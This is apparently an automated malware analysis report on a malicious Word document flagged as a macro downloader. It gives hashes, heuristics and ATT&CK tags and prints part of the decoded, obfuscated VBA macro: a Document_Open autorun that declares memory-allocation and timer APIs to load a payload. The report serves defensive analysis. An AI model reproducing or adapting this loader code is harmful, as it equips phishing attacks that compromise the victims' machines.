Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 006f7fd56fa89fa5…

MALICIOUS

Office (OLE)

253.0 KB Created: 2018-04-18 14:00:00 Authoring application: Microsoft Office Word First seen: 2019-12-10
MD5: a1887cd225cfb515badcfe01b2048c36 SHA-1: 4c225aff04c1ad3f00180e98ad09f3c588046982 SHA-256: 006f7fd56fa89fa576fa95221bdf16422d66787ca366e57816ff6d8a957d7de5
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Macro-6539595-0, indicating it is a macro-based downloader. The presence of a Document_Open macro and embedded VBA code confirms the malicious intent. The VBA script likely attempts to download and execute a second-stage payload, a common technique for malware distribution.

Heuristics 4

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11700 bytes
SHA-256: d282468e420d39af69711be5e8954d74d5626678d9d1e617d2a31011c236b8b0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
unenthralled
eves = 3 + 28
Pmt 0, eves, 3521, 36190, 7
End Sub





Attribute VB_Name = "poets"
Attribute VB_Base = "0{559EE20D-8BA7-4706-BCB9-3819EDD5F1A2}{5C3D342F-FEBB-491E-87C6-A36C5A83CFFA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "aModule2"
#If (111 - 56 + 345 + 82 - 98 + 316) > ((60 - 23 + 283) - (123 - 64 + 481) * 1) And Not ((18 - 77 + 87) - (3 - 91 + 116)) * 2 < (Win64) Then
Public Declare Function frosting _
Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (harmonicon As Any, ByVal coatrack As Any, ByVal profession As Any, ByVal fortior As Any, ByVal blockish As Any, ByVal fiery As Any, ByVal mead As Any) As Long
#End If
#If (93 - 19 + 326 + 41 - 84 + 343) > ((97 - 60 + 283) - (5 - 122 + 657) * 1) And ((71 - 17 - 26) - (68 - 105 + 65)) * 2 < (Win64) Then
Public Declare PtrSafe Function osprey _
Lib "ntdll    " Alias _
"NtAllocateVirtualMemory" (menorrhagia As LongPtr, agueweed As LongPtr, ByVal duarchy As LongPtr, accouterByVal As LongPtr, lexicographer As LongPtr, ByVal annunciation As LongPtr) As LongPtr
#End If
Function platyhelminthes()
Dim bottletree(255) As Byte
pannikin = 51 - 89 + 103
For I = pannikin To (114 - 92 + 69)
bottletree(pannikin) = pannikin - (75 - 101 + 91)
pannikin = pannikin + 1
If (127 - 118 + 82) < pannikin Then
casualness = struggle + 18 - 112 + 159
Exit For
End If
saratoga = mastigophora + 113 - 99 + 51
Next
pannikin = (28 - 76 + 96)
For I = pannikin To (81 - 55 + 32)
bottletree(pannikin) = pannikin + (82 - 78 + 0)
pannikin = pannikin + 1
If (15 - 77 + 120) < pannikin Then
solidity = beste + 86 - 26 + 5
Exit For
End If
ecarte = moonshine + 21 - 18 + 62
Next
pannikin = (76 - 28 + 49)
For I = pannikin To (47 - 107 + 183)
bottletree(pannikin) = pannikin - (10 - 26 + 87)
pannikin = pannikin + 1
nicene = kilovolt + 42 - 110 + 133
If (64 - 2 + 61) < pannikin Then
pointed = unregarded + 44 - 101 + 122
Exit For
End If
bijouterie = bloodstone + 99 - 89 + 55
Next
bottletree(23 - 27 + 51) = (116 - 31 - 22)
pannikin = (14 - 22 + 51)
bottletree(pannikin) = (63 - 1 + 0)
platyhelminthes = bottletree
End Function
Sub unenthralled()
Dim sociologist As Long
Dim bolivia As String
poets.minotaur.Value = Day(#12/5/2013#)
varday = bible = "slope"
smacker = protooncogene
aljibar = kudosgr
Set dedifferentiation = poets.minotaur.SelectedItem
animateness = 30 + 38
Pmt 0, animateness, 25667, 37658, 2
axiom = dedifferentiation.Name
triumliterarum = 14 - 43 + 7873
epilobium = Right(axiom, triumliterarum)
ramshackle = firstlings(epilobium)
bestial = 23 + 26
Pmt 0, bestial, 10215, 22871, 7
#If (98 - 62 + 364 + 10 - 24 + 314) > ((22 - 94 + 392) - (73 - 5 + 472) * 1) And ((81 - 3 - 50) - (126 - 11 - 87)) * 2 < (Win64) Then
Dim reconciliation As Variant
Dim detachable As LongPtr
Dim oppositionist As LongPtr
Dim saggittary As String
Dim biology As String
Dim percophidae As LongPtr
Dim lepidolite As LongPtr
Dim muscle As LongPtr
battles = 122 - 113 + 2055
#End If
#If (20 - 109 + 489 + 4 - 13 + 309) > ((67 - 99 + 352) - (63 - 119 + 596) * 1) And Not ((74 - 22 - 24) - (115 - 9 - 78)) * 2 < (Win64) Then
Dim bermudan As Byte
Dim oppositionist As Long
Dim fullhanded As Long
Dim detachable As Long
Dim percophidae As Long
hyponymy = 24 - 93 + 850
Dim lepidolite As Long
Dim muscle As Long
battles = hyponymy + 3459
#End If
thickskull = 20 - 22 + 2
mccoy = 39 - 28 + 4085
absolute = 19 + 53
Pmt 0, absolute, 18590, 58172, 3
debt = dunkirk
cantering = "calcem"
nod = 21 + 50
Pmt 0, nod, 13994, 49995, 5
gynura = ramshackle
detachab
... (truncated)